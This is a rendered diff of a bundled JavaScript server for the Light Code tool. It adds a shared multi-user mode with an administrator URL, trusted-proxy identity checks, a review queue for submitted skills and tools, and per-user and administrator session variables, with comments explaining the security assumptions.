66493
|
-
const parsed = JSON.parse(await
|
|
67438
|
+
const parsed = JSON.parse(await fs21.readFile(this.filePath, "utf8"));
|
|
66494
67439
|
if (typeof parsed === "object" && parsed !== null) this.values = parsed;
|
|
66495
67440
|
} catch {
|
|
66496
67441
|
this.values = {};
|
|
@@ -66502,8 +67447,8 @@ var FileWorkspaceState = class {
|
|
|
66502
67447
|
async set(key, value) {
|
|
66503
67448
|
if (value === void 0) delete this.values[key];
|
|
66504
67449
|
else this.values[key] = value;
|
|
66505
|
-
await
|
|
66506
|
-
await
|
|
67450
|
+
await fs21.mkdir(path26.dirname(this.filePath), { recursive: true });
|
|
67451
|
+
await fs21.writeFile(this.filePath, JSON.stringify(this.values, null, 2), { encoding: "utf8", mode: 384 });
|
|
66507
67452
|
}
|
|
66508
67453
|
};
|
|
66509
67454
|
function createBrowserUi(workspaceRoot, post) {
|
|
@@ -66539,14 +67484,14 @@ function createBrowserUi(workspaceRoot, post) {
|
|
|
66539
67484
|
if (found.length >= limit || depth > 12) return;
|
|
66540
67485
|
let entries;
|
|
66541
67486
|
try {
|
|
66542
|
-
entries = await
|
|
67487
|
+
entries = await fs21.readdir(dir, { withFileTypes: true });
|
|
66543
67488
|
} catch {
|
|
66544
67489
|
return;
|
|
66545
67490
|
}
|
|
66546
67491
|
for (const entry of entries) {
|
|
66547
67492
|
if (found.length >= limit) return;
|
|
66548
67493
|
if (entry.name.startsWith(".") && entry.name !== ".env") continue;
|
|
66549
|
-
const full =
|
|
67494
|
+
const full = path26.join(dir, entry.name);
|
|
66550
67495
|
if (entry.isDirectory()) {
|
|
66551
67496
|
if (!skip.has(entry.name)) await walk(full, depth + 1);
|
|
66552
67497
|
} else if (needle.length === 0 || entry.name.toLowerCase().includes(needle)) {
|
|
@@ -66560,20 +67505,44 @@ function createBrowserUi(workspaceRoot, post) {
|
|
|
66560
67505
|
};
|
|
66561
67506
|
}
|
|
66562
67507
|
async function createSession(options) {
|
|
66563
|
-
const userDir =
|
|
66564
|
-
await
|
|
66565
|
-
const
|
|
67508
|
+
const userDir = path26.join(options.dataDir, "users", storageKeyFor(options.principal));
|
|
67509
|
+
await fs21.mkdir(userDir, { recursive: true, mode: 448 });
|
|
67510
|
+
const variableStore = new UserVariableStore(userVariablesPath(userDir));
|
|
67511
|
+
const userVariables = () => variableStore.read();
|
|
67512
|
+
const workspaceState = new FileWorkspaceState(path26.join(userDir, "workspace-state.json"));
|
|
66566
67513
|
await workspaceState.load();
|
|
66567
67514
|
const services = {
|
|
66568
67515
|
transport: options.transport,
|
|
66569
|
-
|
|
66570
|
-
|
|
67516
|
+
/*
|
|
67517
|
+
* A shared profile's API key belongs to the administrator and lives beside the shared config;
|
|
67518
|
+
* everything else is this user's. Routed by the reference, which is all a secret store gets.
|
|
67519
|
+
*/
|
|
67520
|
+
secrets: options.sharedSecrets === void 0 ? new FileSecretStore(path26.join(userDir, "secrets.json")) : new RoutedSecretStore(new FileSecretStore(path26.join(userDir, "secrets.json")), options.sharedSecrets),
|
|
67521
|
+
configStore: options.sharedProfiles === void 0 ? new FileConfigStore(path26.join(userDir, "config.json"), options.workspaceRoot) : new SharedProfileConfigStore(
|
|
67522
|
+
new FileConfigStore(path26.join(userDir, "config.json"), options.workspaceRoot),
|
|
67523
|
+
options.sharedProfiles
|
|
67524
|
+
),
|
|
66571
67525
|
workspaceState,
|
|
66572
67526
|
ui: createBrowserUi(options.workspaceRoot, options.logSink),
|
|
66573
67527
|
workspaceRoot: options.workspaceRoot,
|
|
66574
67528
|
storageDir: userDir,
|
|
66575
67529
|
ripgrepPath: options.ripgrepPath,
|
|
66576
|
-
logSink: options.logSink
|
|
67530
|
+
logSink: options.logSink,
|
|
67531
|
+
/*
|
|
67532
|
+
* Served from this origin, which is what `img-src 'self'` in the CSP permits and the whole
|
|
67533
|
+
* reason the diagrams are copied into the client bundle rather than fetched. A relative base
|
|
67534
|
+
* also survives whatever port the server happened to bind.
|
|
67535
|
+
*/
|
|
67536
|
+
guideMediaBase: "/guide",
|
|
67537
|
+
...options.submitForReview !== void 0 ? { submitForReview: options.submitForReview } : {},
|
|
67538
|
+
/*
|
|
67539
|
+
* Resolved per read, so both halves stay live — an administrator's edit and the user's own
|
|
67540
|
+
* each reach the next command rather than the next session.
|
|
67541
|
+
*
|
|
67542
|
+
* The administrator's win. That is a precedence rule and not a secrecy one: everything a
|
|
67543
|
+
* session spawns runs as the service account, so another user's agent can read these.
|
|
67544
|
+
*/
|
|
67545
|
+
sessionEnv: () => toEnvironment(resolveSessionVariables(options.adminVariables?.() ?? [], userVariables()))
|
|
66577
67546
|
};
|
|
66578
67547
|
new Logger({ level: "debug", sink: options.logSink }).info(
|
|
66579
67548
|
`session for ${options.principal.displayName} \u2192 ${userDir}`
|
|
@@ -66585,21 +67554,61 @@ async function createSession(options) {
|
|
|
66585
67554
|
var CLIENT_ASSETS = {
|
|
66586
67555
|
"/": "index.html",
|
|
66587
67556
|
"/index.html": "index.html",
|
|
67557
|
+
/*
|
|
67558
|
+
* The administrator's URL. The same page — the client asks the server what it may do rather
|
|
67559
|
+
* than being a second bundle — but a distinct address, because that is what a proxy rule can
|
|
67560
|
+
* be written against.
|
|
67561
|
+
*
|
|
67562
|
+
* **Reaching it is assumed to be restricted upstream.** Light Code does not re-derive who may
|
|
67563
|
+
* be here; the proxy, the firewall or a separate listener decides. The consequence, stated
|
|
67564
|
+
* once so nobody has to infer it: anyone who can reach `/admin` directly is an administrator,
|
|
67565
|
+
* so exposing the port without the proxy in front exposes this with it.
|
|
67566
|
+
*/
|
|
67567
|
+
"/admin": "index.html",
|
|
67568
|
+
"/admin/": "index.html",
|
|
66588
67569
|
"/client.js": "client.js",
|
|
66589
|
-
"/client.css": "client.css"
|
|
67570
|
+
"/client.css": "client.css",
|
|
67571
|
+
/*
|
|
67572
|
+
* The guide's diagrams, one entry per step and palette.
|
|
67573
|
+
*
|
|
67574
|
+
* Derived from `GUIDE_STEPS` rather than listed by hand, but still a *fixed table*: the keys
|
|
67575
|
+
* come from checked-in data, never from the request, so `serveAsset` keeps the property that
|
|
67576
|
+
* makes it safe — no part of the path is attacker-supplied and traversal is unreachable.
|
|
67577
|
+
*/
|
|
67578
|
+
...Object.fromEntries(
|
|
67579
|
+
GUIDE_STEPS.flatMap(
|
|
67580
|
+
(step) => ["light", "dark"].map((theme) => [
|
|
67581
|
+
`/guide/${step.id}-${theme}.svg`,
|
|
67582
|
+
`guide/${step.id}-${theme}.svg`
|
|
67583
|
+
])
|
|
67584
|
+
)
|
|
67585
|
+
)
|
|
66590
67586
|
};
|
|
66591
67587
|
var CONTENT_TYPES = {
|
|
66592
67588
|
".html": "text/html; charset=utf-8",
|
|
66593
67589
|
".js": "text/javascript; charset=utf-8",
|
|
66594
|
-
".css": "text/css; charset=utf-8"
|
|
67590
|
+
".css": "text/css; charset=utf-8",
|
|
67591
|
+
// Served as an image, and the CSP's `img-src 'self'` is what keeps it one: an SVG loaded
|
|
67592
|
+
// through <img> cannot run script, whatever it contains.
|
|
67593
|
+
".svg": "image/svg+xml"
|
|
66595
67594
|
};
|
|
66596
67595
|
async function startServer(options) {
|
|
66597
67596
|
const log = options.logSink ?? ((line) => process.stderr.write(`${line}
|
|
66598
67597
|
`));
|
|
66599
67598
|
const identity = options.identity ?? new SingleUserIdentity();
|
|
66600
67599
|
const roles = options.roles ?? SINGLE_USER_POLICY;
|
|
67600
|
+
const sharedStore = options.sharedConfig;
|
|
67601
|
+
const sharedSecretStore = new FileSecretStore(path27.join(options.dataDir, "shared-secrets.json"));
|
|
67602
|
+
const reviews = new ReviewQueue(path27.join(options.dataDir, "reviews.json"));
|
|
67603
|
+
let sharedCache = { variables: [], adminIds: [], profiles: [] };
|
|
66601
67604
|
const bindAddress = options.bindAddress ?? "127.0.0.1";
|
|
67605
|
+
if (sharedStore !== void 0) sharedCache = await sharedStore.load();
|
|
67606
|
+
const adminConnections = /* @__PURE__ */ new Set();
|
|
66602
67607
|
const connections = /* @__PURE__ */ new Map();
|
|
67608
|
+
function isAdminSession(principal) {
|
|
67609
|
+
if (!roles.shared) return true;
|
|
67610
|
+
return adminConnections.has(principal.id) && roles.roleFor(principal) === "admin";
|
|
67611
|
+
}
|
|
66603
67612
|
let policy = { allowedHosts: [], allowedOrigins: [] };
|
|
66604
67613
|
async function openConnection(principal, response) {
|
|
66605
67614
|
const listeners = /* @__PURE__ */ new Set();
|
|
@@ -66628,7 +67637,37 @@ async function startServer(options) {
|
|
|
66628
67637
|
workspaceRoot: options.workspaceRoot,
|
|
66629
67638
|
dataDir: options.dataDir,
|
|
66630
67639
|
ripgrepPath: options.ripgrepPath,
|
|
66631
|
-
logSink: log
|
|
67640
|
+
logSink: log,
|
|
67641
|
+
/*
|
|
67642
|
+
* Read at use, not captured: an administrator saving a variable must reach a session that
|
|
67643
|
+
* is already open. `SharedConfigStore` caches, so this is a map lookup rather than a read.
|
|
67644
|
+
*/
|
|
67645
|
+
adminVariables: () => sharedCache.variables,
|
|
67646
|
+
/*
|
|
67647
|
+
* Only for someone who cannot approve their own work. An administrator keeps the ordinary
|
|
67648
|
+
* in-chat prompt — the same mechanism with the approver already at the screen — so this is
|
|
67649
|
+
* absent for them rather than a queue they would have to visit to approve themselves.
|
|
67650
|
+
*/
|
|
67651
|
+
...roles.shared && !isAdminSession(principal) ? {
|
|
67652
|
+
submitForReview: async (request) => {
|
|
67653
|
+
const queued = await reviews.submit({ ...request, authorId: principal.id, authorName: principal.displayName });
|
|
67654
|
+
log(`${principal.displayName} submitted ${request.kind} "${request.name}" for review`);
|
|
67655
|
+
await broadcastReviews();
|
|
67656
|
+
return describeSubmission(queued);
|
|
67657
|
+
}
|
|
67658
|
+
} : {},
|
|
67659
|
+
/*
|
|
67660
|
+
* Only in shared mode. Outside it there is one person and every profile is already theirs,
|
|
67661
|
+
* so wrapping the stores would add a prefix nobody needs and a second file nobody writes.
|
|
67662
|
+
*/
|
|
67663
|
+
...sharedStore !== void 0 ? {
|
|
67664
|
+
sharedProfiles: () => ({
|
|
67665
|
+
profiles: sharedCache.profiles,
|
|
67666
|
+
...sharedCache.defaultProfileId !== void 0 ? { defaultProfileId: sharedCache.defaultProfileId } : {},
|
|
67667
|
+
...sharedCache.defaultProgrammingProfileId !== void 0 ? { defaultProgrammingProfileId: sharedCache.defaultProgrammingProfileId } : {}
|
|
67668
|
+
}),
|
|
67669
|
+
sharedSecrets: sharedSecretStore
|
|
67670
|
+
} : {}
|
|
66632
67671
|
});
|
|
66633
67672
|
const originalDispose = connection.dispose;
|
|
66634
67673
|
connection.dispose = () => {
|
|
@@ -66686,8 +67725,18 @@ async function startServer(options) {
|
|
|
66686
67725
|
...securityHeaders()
|
|
66687
67726
|
});
|
|
66688
67727
|
response.write(": connected\n\n");
|
|
67728
|
+
const viaAdminUrl = url2.searchParams.get("view") === "admin";
|
|
67729
|
+
if (viaAdminUrl) adminConnections.add(principal.id);
|
|
67730
|
+
else adminConnections.delete(principal.id);
|
|
66689
67731
|
const connection = await openConnection(principal, response);
|
|
66690
67732
|
connections.set(principal.id, connection);
|
|
67733
|
+
connection.transport.post({
|
|
67734
|
+
type: "hostRole",
|
|
67735
|
+
role: isAdminSession(principal) ? "admin" : "user",
|
|
67736
|
+
shared: roles.shared,
|
|
67737
|
+
displayName: principal.displayName,
|
|
67738
|
+
sharedProfileIds: sharedCache.profiles.map((profile) => toSharedProfileId(profile.id))
|
|
67739
|
+
});
|
|
66691
67740
|
const heartbeat = setInterval(() => response.write(": ping\n\n"), 2e4);
|
|
66692
67741
|
const cleanup = () => {
|
|
66693
67742
|
clearInterval(heartbeat);
|
|
@@ -66705,18 +67754,154 @@ async function startServer(options) {
|
|
|
66705
67754
|
}
|
|
66706
67755
|
const body = await readJsonBody(request);
|
|
66707
67756
|
const type = typeof body?.type === "string" ? body.type : "";
|
|
66708
|
-
if (roles.shared &&
|
|
67757
|
+
if (roles.shared && !isAdminSession(principal) && isAdminOnly(type)) {
|
|
66709
67758
|
log(`refused "${type}" from ${principal.displayName} (${principal.id}): not an administrator`);
|
|
66710
67759
|
connection.transport.post({ type: "error", message: refusalFor(type) });
|
|
66711
67760
|
respondJson(response, 403, { ok: false });
|
|
66712
67761
|
return;
|
|
66713
67762
|
}
|
|
67763
|
+
if (await handleVariableMessage(principal, type, body, connection)) {
|
|
67764
|
+
respondJson(response, 202, { ok: true });
|
|
67765
|
+
return;
|
|
67766
|
+
}
|
|
66714
67767
|
connection.deliver(body);
|
|
66715
67768
|
respondJson(response, 202, { ok: true });
|
|
66716
67769
|
return;
|
|
66717
67770
|
}
|
|
66718
67771
|
reject(response, { status: 404, reason: "Not found." });
|
|
66719
67772
|
}
|
|
67773
|
+
async function postReviews(principal, connection) {
|
|
67774
|
+
const canDecide = isAdminSession(principal);
|
|
67775
|
+
const all = await reviews.list();
|
|
67776
|
+
const visible = canDecide ? all : all.filter((item) => item.authorId === principal.id);
|
|
67777
|
+
connection.transport.post({
|
|
67778
|
+
type: "reviews",
|
|
67779
|
+
canDecide,
|
|
67780
|
+
items: visible.sort((a, b) => b.submittedAt - a.submittedAt).map((item) => ({
|
|
67781
|
+
id: item.id,
|
|
67782
|
+
kind: item.kind,
|
|
67783
|
+
name: item.name,
|
|
67784
|
+
content: item.content,
|
|
67785
|
+
existingContent: item.existingContent,
|
|
67786
|
+
authorName: item.authorName,
|
|
67787
|
+
submittedAt: item.submittedAt,
|
|
67788
|
+
status: item.status,
|
|
67789
|
+
...item.producedBy !== void 0 ? { producedBy: item.producedBy } : {},
|
|
67790
|
+
...item.decidedBy !== void 0 ? { decidedBy: item.decidedBy } : {},
|
|
67791
|
+
...item.reason !== void 0 ? { reason: item.reason } : {}
|
|
67792
|
+
}))
|
|
67793
|
+
});
|
|
67794
|
+
}
|
|
67795
|
+
async function broadcastReviews() {
|
|
67796
|
+
for (const [id, connection] of connections) {
|
|
67797
|
+
await postReviews({ id, displayName: id }, connection);
|
|
67798
|
+
}
|
|
67799
|
+
}
|
|
67800
|
+
async function applyApproval(item) {
|
|
67801
|
+
if (options.workspaceRoot === void 0) return "No workspace is open, so there is nowhere to write it.";
|
|
67802
|
+
try {
|
|
67803
|
+
if (item.kind === "skill") {
|
|
67804
|
+
const dir2 = path27.join(options.workspaceRoot, ".lightcode", "skills");
|
|
67805
|
+
await fs22.mkdir(dir2, { recursive: true });
|
|
67806
|
+
await fs22.writeFile(path27.join(dir2, `${item.name}.md`), item.content, "utf8");
|
|
67807
|
+
return void 0;
|
|
67808
|
+
}
|
|
67809
|
+
const dir = path27.join(options.workspaceRoot, ".lightcode", "tools");
|
|
67810
|
+
await fs22.mkdir(dir, { recursive: true });
|
|
67811
|
+
await fs22.writeFile(path27.join(dir, `${item.name}.py`), item.content, "utf8");
|
|
67812
|
+
return void 0;
|
|
67813
|
+
} catch (error51) {
|
|
67814
|
+
return error51 instanceof Error ? error51.message : String(error51);
|
|
67815
|
+
}
|
|
67816
|
+
}
|
|
67817
|
+
async function postVariables(principal, connection) {
|
|
67818
|
+
const store = userVariableStoreFor(options.dataDir, principal);
|
|
67819
|
+
const user = store.read();
|
|
67820
|
+
const admin = sharedCache.variables;
|
|
67821
|
+
connection.transport.post({
|
|
67822
|
+
type: "variables",
|
|
67823
|
+
user: [...user],
|
|
67824
|
+
admin: [...admin],
|
|
67825
|
+
resolved: resolveSessionVariables(admin, user),
|
|
67826
|
+
adminIds: sharedCache.adminIds,
|
|
67827
|
+
canEditAdmin: isAdminSession(principal)
|
|
67828
|
+
});
|
|
67829
|
+
}
|
|
67830
|
+
async function handleVariableMessage(principal, type, body, connection) {
|
|
67831
|
+
const payload = body;
|
|
67832
|
+
if (type === "requestReviews") {
|
|
67833
|
+
await postReviews(principal, connection);
|
|
67834
|
+
return true;
|
|
67835
|
+
}
|
|
67836
|
+
if (type === "decideReview") {
|
|
67837
|
+
const id = typeof body.id === "string" ? body.id : "";
|
|
67838
|
+
const approved = body.approved === true;
|
|
67839
|
+
const reason = typeof body.reason === "string" ? body.reason : void 0;
|
|
67840
|
+
const decided = await reviews.decide(id, {
|
|
67841
|
+
approved,
|
|
67842
|
+
by: principal.displayName,
|
|
67843
|
+
...reason !== void 0 ? { reason } : {}
|
|
67844
|
+
});
|
|
67845
|
+
if (decided === void 0) {
|
|
67846
|
+
connection.transport.post({
|
|
67847
|
+
type: "error",
|
|
67848
|
+
message: "That submission has already been decided. Reload to see the current queue."
|
|
67849
|
+
});
|
|
67850
|
+
return true;
|
|
67851
|
+
}
|
|
67852
|
+
if (approved) {
|
|
67853
|
+
const failure = await applyApproval(decided);
|
|
67854
|
+
if (failure !== void 0) {
|
|
67855
|
+
connection.transport.post({ type: "error", message: `Approved, but could not write it: ${failure}` });
|
|
67856
|
+
}
|
|
67857
|
+
}
|
|
67858
|
+
log(`${principal.displayName} ${approved ? "approved" : "rejected"} ${decided.kind} "${decided.name}"`);
|
|
67859
|
+
await broadcastReviews();
|
|
67860
|
+
return true;
|
|
67861
|
+
}
|
|
67862
|
+
if (type === "requestVariables") {
|
|
67863
|
+
await postVariables(principal, connection);
|
|
67864
|
+
return true;
|
|
67865
|
+
}
|
|
67866
|
+
if (type === "saveUserVariables") {
|
|
67867
|
+
const parsed = sessionVariablesSchema.safeParse(payload.variables);
|
|
67868
|
+
if (!parsed.success) {
|
|
67869
|
+
connection.transport.post({ type: "error", message: `Could not save variables: ${parsed.error.message}` });
|
|
67870
|
+
return true;
|
|
67871
|
+
}
|
|
67872
|
+
await userVariableStoreFor(options.dataDir, principal).save(parsed.data);
|
|
67873
|
+
await postVariables(principal, connection);
|
|
67874
|
+
return true;
|
|
67875
|
+
}
|
|
67876
|
+
if (type === "saveAdminVariables" || type === "saveAdminIds") {
|
|
67877
|
+
if (sharedStore === void 0) {
|
|
67878
|
+
connection.transport.post({
|
|
67879
|
+
type: "error",
|
|
67880
|
+
message: "There are no shared settings outside --server mode."
|
|
67881
|
+
});
|
|
67882
|
+
return true;
|
|
67883
|
+
}
|
|
67884
|
+
if (type === "saveAdminVariables") {
|
|
67885
|
+
const parsed = sessionVariablesSchema.safeParse(payload.variables);
|
|
67886
|
+
if (!parsed.success) {
|
|
67887
|
+
connection.transport.post({ type: "error", message: `Could not save variables: ${parsed.error.message}` });
|
|
67888
|
+
return true;
|
|
67889
|
+
}
|
|
67890
|
+
sharedCache = await sharedStore.save({ variables: parsed.data });
|
|
67891
|
+
} else {
|
|
67892
|
+
const ids = Array.isArray(payload.ids) ? payload.ids.filter((id) => typeof id === "string") : [];
|
|
67893
|
+
if (!ids.includes(principal.id)) {
|
|
67894
|
+
log(`${principal.displayName} removed themselves from the administrator list`);
|
|
67895
|
+
}
|
|
67896
|
+
sharedCache = await sharedStore.save({ adminIds: [...new Set(ids)] });
|
|
67897
|
+
}
|
|
67898
|
+
for (const [id, other] of connections) {
|
|
67899
|
+
await postVariables({ id, displayName: id }, other);
|
|
67900
|
+
}
|
|
67901
|
+
return true;
|
|
67902
|
+
}
|
|
67903
|
+
return false;
|
|
67904
|
+
}
|
|
66720
67905
|
async function serveAsset(pathname, response) {
|
|
66721
67906
|
const asset = CLIENT_ASSETS[pathname];
|
|
66722
67907
|
if (asset === void 0) {
|
|
@@ -66724,9 +67909,9 @@ async function startServer(options) {
|
|
|
66724
67909
|
return;
|
|
66725
67910
|
}
|
|
66726
67911
|
try {
|
|
66727
|
-
const body = await
|
|
67912
|
+
const body = await fs22.readFile(path27.join(options.clientDir, asset));
|
|
66728
67913
|
response.writeHead(200, {
|
|
66729
|
-
"Content-Type": CONTENT_TYPES[
|
|
67914
|
+
"Content-Type": CONTENT_TYPES[path27.extname(asset)] ?? "application/octet-stream",
|
|
66730
67915
|
...securityHeaders()
|
|
66731
67916
|
});
|
|
66732
67917
|
response.end(body);
|
|
@@ -66761,24 +67946,79 @@ async function main() {
|
|
|
66761
67946
|
process.stdout.write(usage());
|
|
66762
67947
|
return;
|
|
66763
67948
|
}
|
|
67949
|
+
if (args.includes("--guide")) {
|
|
67950
|
+
process.stdout.write(renderGuide(process.stdout.isTTY === true));
|
|
67951
|
+
process.stdout.write("\n");
|
|
67952
|
+
return;
|
|
67953
|
+
}
|
|
67954
|
+
const unknown2 = args.filter((arg) => arg.startsWith("--") && !KNOWN_FLAGS.has(arg));
|
|
67955
|
+
if (unknown2.length > 0) {
|
|
67956
|
+
process.stderr.write(
|
|
67957
|
+
`light-code: unknown option${unknown2.length === 1 ? "" : "s"} ${unknown2.join(", ")}
|
|
67958
|
+
If you expected this to work, you may be on an older cached copy \u2014 try:
|
|
67959
|
+
npx @chosengeneration/light-code@latest --help
|
|
67960
|
+
`
|
|
67961
|
+
);
|
|
67962
|
+
process.exit(2);
|
|
67963
|
+
}
|
|
67964
|
+
const strayAdminValue = valuesOf(args, "--admin");
|
|
67965
|
+
if (strayAdminValue.length > 0) {
|
|
67966
|
+
process.stderr.write(
|
|
67967
|
+
`light-code: --admin no longer takes a value.
|
|
67968
|
+
--admin opens the administrator's interface
|
|
67969
|
+
--admin-id <id> names an administrator (repeatable)
|
|
67970
|
+
Did you mean: --admin-id ${strayAdminValue.join(" --admin-id ")}
|
|
67971
|
+
`
|
|
67972
|
+
);
|
|
67973
|
+
process.exit(2);
|
|
67974
|
+
}
|
|
66764
67975
|
const serverMode = args.includes("--server");
|
|
66765
|
-
const
|
|
66766
|
-
const
|
|
67976
|
+
const adminMode = args.includes("--admin");
|
|
67977
|
+
const adminIds = valuesOf(args, "--admin-id");
|
|
67978
|
+
const trustedProxies = valuesOf(args, "--trust-proxy");
|
|
67979
|
+
const userHeader = valueOf(args, "--user-header");
|
|
67980
|
+
const workspaceRoot = path28.resolve(valueOf(args, "--workspace") ?? process.cwd());
|
|
66767
67981
|
const dataDir = valueOf(args, "--data-dir") ?? envPaths("light-code", { suffix: "" }).data;
|
|
66768
67982
|
const port = Number.parseInt(valueOf(args, "--port") ?? "0", 10);
|
|
66769
67983
|
const bindAddress = valueOf(args, "--bind");
|
|
66770
67984
|
const noOpen = args.includes("--no-open") || serverMode;
|
|
66771
|
-
|
|
67985
|
+
let identity;
|
|
67986
|
+
if (serverMode) {
|
|
67987
|
+
const bad = validateTrustedProxies(trustedProxies);
|
|
67988
|
+
if (bad.length > 0) {
|
|
67989
|
+
process.stderr.write(`light-code: --trust-proxy is not an IP address: ${bad.join(", ")}
|
|
67990
|
+
`);
|
|
67991
|
+
process.exit(2);
|
|
67992
|
+
}
|
|
67993
|
+
if (trustedProxies.length === 0) {
|
|
67994
|
+
process.stderr.write(
|
|
67995
|
+
"light-code: --server needs --trust-proxy <address of your reverse proxy>.\nUsers are identified by a header the proxy sets, and a header is only believable\nfrom an address you name \u2014 anything that can reach this port can type one.\n"
|
|
67996
|
+
);
|
|
67997
|
+
process.exit(2);
|
|
67998
|
+
}
|
|
67999
|
+
identity = new ProxyHeaderIdentity({
|
|
68000
|
+
trustedProxies,
|
|
68001
|
+
...userHeader !== void 0 ? { userHeader } : {}
|
|
68002
|
+
});
|
|
68003
|
+
}
|
|
68004
|
+
const sharedConfig = new SharedConfigStore(path28.join(dataDir, "shared.json"));
|
|
68005
|
+
const shared = await sharedConfig.load();
|
|
68006
|
+
const effectiveAdminIds = [.../* @__PURE__ */ new Set([...shared.adminIds, ...adminIds])];
|
|
68007
|
+
if (adminIds.length > 0 && effectiveAdminIds.length !== shared.adminIds.length) {
|
|
68008
|
+
await sharedConfig.save({ adminIds: effectiveAdminIds });
|
|
68009
|
+
}
|
|
68010
|
+
const here = path28.dirname(fileURLToPath(import.meta.url));
|
|
66772
68011
|
const server = await startServer({
|
|
66773
68012
|
workspaceRoot,
|
|
66774
68013
|
dataDir,
|
|
66775
|
-
clientDir:
|
|
68014
|
+
clientDir: path28.join(here, "client"),
|
|
66776
68015
|
ripgrepPath: resolveRipgrep(),
|
|
66777
68016
|
port: Number.isNaN(port) ? 0 : port,
|
|
66778
|
-
...serverMode ? { roles: adminListPolicy(
|
|
68017
|
+
...serverMode ? { roles: adminListPolicy(effectiveAdminIds), sharedConfig } : {},
|
|
68018
|
+
...identity !== void 0 ? { identity } : {},
|
|
66779
68019
|
...bindAddress !== void 0 ? { bindAddress } : {}
|
|
66780
68020
|
});
|
|
66781
|
-
const launchUrl = `${server.url}/#t=${server.launchToken ?? ""}`;
|
|
68021
|
+
const launchUrl = `${server.url}${adminMode ? "/admin" : ""}/#t=${server.launchToken ?? ""}`;
|
|
66782
68022
|
process.stdout.write(
|
|
66783
68023
|
`
|
|
66784
68024
|
Light Code
|
|
@@ -66788,7 +68028,7 @@ Light Code
|
|
|
66788
68028
|
`
|
|
66789
68029
|
);
|
|
66790
68030
|
if (serverMode) {
|
|
66791
|
-
const who =
|
|
68031
|
+
const who = effectiveAdminIds.length === 0 ? "nobody \u2014 no --admin-id was given, so configuration is frozen" : `${String(effectiveAdminIds.length)} administrator(s)`;
|
|
66792
68032
|
process.stdout.write(` mode shared \u2014 settings are read-only except for ${who}
|
|
66793
68033
|
`);
|
|
66794
68034
|
process.stdout.write(
|
|
@@ -66799,11 +68039,24 @@ Light Code
|
|
|
66799
68039
|
);
|
|
66800
68040
|
}
|
|
66801
68041
|
process.stdout.write("\n");
|
|
66802
|
-
|
|
68042
|
+
if (serverMode) {
|
|
68043
|
+
process.stdout.write(
|
|
68044
|
+
` users ${server.url}/
|
|
68045
|
+
administrators ${server.url}/admin
|
|
68046
|
+
|
|
68047
|
+
Both go through your proxy. Anyone reaching /admin directly is an administrator.
|
|
68048
|
+
|
|
68049
|
+
`
|
|
68050
|
+
);
|
|
68051
|
+
} else {
|
|
68052
|
+
process.stdout.write(
|
|
68053
|
+
`Opening ${server.url}
|
|
66803
68054
|
(If the browser does not open, paste this within 10 seconds:)
|
|
66804
68055
|
${launchUrl}
|
|
66805
68056
|
|
|
66806
|
-
`
|
|
68057
|
+
`
|
|
68058
|
+
);
|
|
68059
|
+
}
|
|
66807
68060
|
if (!noOpen) openBrowser(launchUrl);
|
|
66808
68061
|
const shutdown = () => {
|
|
66809
68062
|
process.stdout.write("\nStopping.\n");
|
|
@@ -66812,6 +68065,21 @@ ${launchUrl}
|
|
|
66812
68065
|
process.on("SIGINT", shutdown);
|
|
66813
68066
|
process.on("SIGTERM", shutdown);
|
|
66814
68067
|
}
|
|
68068
|
+
var KNOWN_FLAGS = /* @__PURE__ */ new Set([
|
|
68069
|
+
"--help",
|
|
68070
|
+
"-h",
|
|
68071
|
+
"--workspace",
|
|
68072
|
+
"--port",
|
|
68073
|
+
"--data-dir",
|
|
68074
|
+
"--no-open",
|
|
68075
|
+
"--server",
|
|
68076
|
+
"--admin",
|
|
68077
|
+
"--admin-id",
|
|
68078
|
+
"--trust-proxy",
|
|
68079
|
+
"--user-header",
|
|
68080
|
+
"--bind",
|
|
68081
|
+
"--guide"
|
|
68082
|
+
]);
|
|
66815
68083
|
function valuesOf(args, flag) {
|
|
66816
68084
|
const values = [];
|
|
66817
68085
|
for (let index = 0; index < args.length; index++) {
|
|
@@ -66852,8 +68120,16 @@ Usage: light-code [options]
|
|
|
66852
68120
|
--no-open Print the URL instead of launching a browser
|
|
66853
68121
|
--server Shared mode: configuration is read-only for everyone
|
|
66854
68122
|
except the administrators named below
|
|
66855
|
-
--admin
|
|
68123
|
+
--admin Open the administrator's interface (/admin) instead
|
|
68124
|
+
--admin-id <id> An administrator's identity id (repeatable)
|
|
68125
|
+
--trust-proxy <ip> Believe the user header from this address (repeatable).
|
|
68126
|
+
Required in shared mode; without it every request is
|
|
68127
|
+
refused, which is the safe direction to fail
|
|
68128
|
+
--user-header <h> Header carrying the user id (default X-Forwarded-User)
|
|
66856
68129
|
--bind <address> Interface to listen on (default: 127.0.0.1)
|
|
68130
|
+
--guide Print the operator guide \u2014 setting up shared mode,
|
|
68131
|
+
who can change what, and what it does not protect
|
|
68132
|
+
against. Pipe it into a pager for comfort
|
|
66857
68133
|
-h, --help This message
|
|
66858
68134
|
|
|
66859
68135
|
Binds 127.0.0.1 unless --bind says otherwise. Anything that can reach the port
|